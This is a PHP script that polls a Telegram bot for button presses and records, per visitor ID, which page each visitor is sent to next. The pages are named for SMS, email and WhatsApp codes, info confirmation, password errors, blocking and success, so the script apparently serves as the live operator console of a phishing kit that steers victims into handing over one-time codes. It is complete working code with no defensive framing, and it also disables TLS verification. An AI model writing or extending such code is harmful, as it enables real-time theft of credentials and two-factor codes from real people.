<?php
session_start();
$settings = include __DIR__ . '/tg_config.php';
header('Content-Type: application/json');

if (!$settings['telegram']) {
    echo json_encode(['status' => 'disabled']);
    exit;
}

$bot = $settings['bot_token'] ?? '';
if (empty($bot)) {
    echo json_encode(['status' => 'error', 'error' => 'missing_bot_token']);
    exit;
}

// Ensure session dir exists
$sessionDir = __DIR__ . '/session';
if (!is_dir($sessionDir)) { @mkdir($sessionDir, 0755, true); }
$offsetFile = $sessionDir . '/last_update_id.txt';
$redirectsFile = $sessionDir . '/redirects.json';
if (!file_exists($redirectsFile)) {
    file_put_contents($redirectsFile, json_encode(['redirects' => new stdClass()]));
}

$offset = 0;
if (file_exists($offsetFile)) {
    $raw = trim(file_get_contents($offsetFile));
    if (ctype_digit($raw)) { $offset = (int)$raw + 1; }
}

// Poll Telegram getUpdates
$url = 'https://api.telegram.org/bot' . $bot . '/getUpdates?offset=' . $offset;
$ch = curl_init($url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_TIMEOUT, $settings['polling']['timeout'] ?? 5);
$response = curl_exec($ch);
curl_close($ch);

$data = json_decode($response, true);
if (!$data || !isset($data['result'])) {
    echo json_encode(['status' => 'no_updates']);
    exit;
}

$processed = 0;
$lastUpdateId = null;
$actionMap = [
    'yes_prompt' => 'yes_prompt.php',
    'security_preference' => 'options.php',
    'sms_code' => 'sms_code.php',
    'email_code' => 'email_code.php',
    'whatsapp_code' => 'whatsapp_code.php',
    'confirmdigits' => 'confirm_info.php',
    'password_error' => 'error.php',
    'block' => 'blocked.php',
    'success' => 'success.php'
];

foreach ($data['result'] as $update) {
    $lastUpdateId = $update['update_id'] ?? $lastUpdateId;
    if (!isset($update['callback_query'])) { continue; }
    $cb = $update['callback_query'];
    $cbId = $cb['id'];
    $chatId = $cb['message']['chat']['id'] ?? ($settings['chat_id'] ?? null);
    $text = $cb['message']['text'] ?? '';
    $action = $cb['data'] ?? '';

    // Extract visitor id
    $visitorId = '';
    if (preg_match('/Visitor ID: ([a-f0-9]{64})/i', $text, $m)) {
        $visitorId = $m[1];
    } elseif (preg_match('/Visitor ID: ([a-f0-9]+)/i', $text, $m)) {
        $visitorId = $m[1];
    }
    if (empty($visitorId)) { continue; }

    // Determine redirect target
    $target = $actionMap[$action] ?? 'load.php';
    $redirectUrl = $target . '?id=' . $visitorId;

    // Update redirects.json (exclusive lock)
    $fp = fopen($redirectsFile, 'c+');
    if ($fp && flock($fp, LOCK_EX)) {
        $content = '';
        while (!feof($fp)) { $content .= fread($fp, 8192); }
        $json = json_decode($content, true) ?: ['redirects' => []];
        $json['redirects'][$visitorId] = [
            'status' => 'ready',
            'redirect_url' => $redirectUrl,
            'updated' => time(),
            'source' => 'telegram_button'
        ];
        ftruncate($fp, 0);
        rewind($fp);
        fwrite($fp, json_encode($json, JSON_PRETTY_PRINT));
        fflush($fp);
        flock($fp, LOCK_UN);
        fclose($fp);
    } elseif ($fp) { fclose($fp); }

    // Answer the callback to give user feedback
    $answerUrl = 'https://api.telegram.org/bot' . $bot . '/answerCallbackQuery';
    $payload = [
        'callback_query_id' => $cbId,
        'text' => '✅ Action triggered: ' . $action,
        'show_alert' => false
    ];
    $ch = curl_init($answerUrl);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
    curl_setopt($ch, CURLOPT_POST, 1);
    curl_setopt($ch, CURLOPT_POSTFIELDS, ($payload));
    curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
    curl_setopt($ch, CURLOPT_TIMEOUT, 3);
    curl_exec($ch);
    curl_close($ch);

    $processed++;
}

// Persist last update id
if ($lastUpdateId !== null) {
    file_put_contents($offsetFile, (string)$lastUpdateId);
}

echo json_encode(['status' => 'processed', 'count' => $processed]);
?>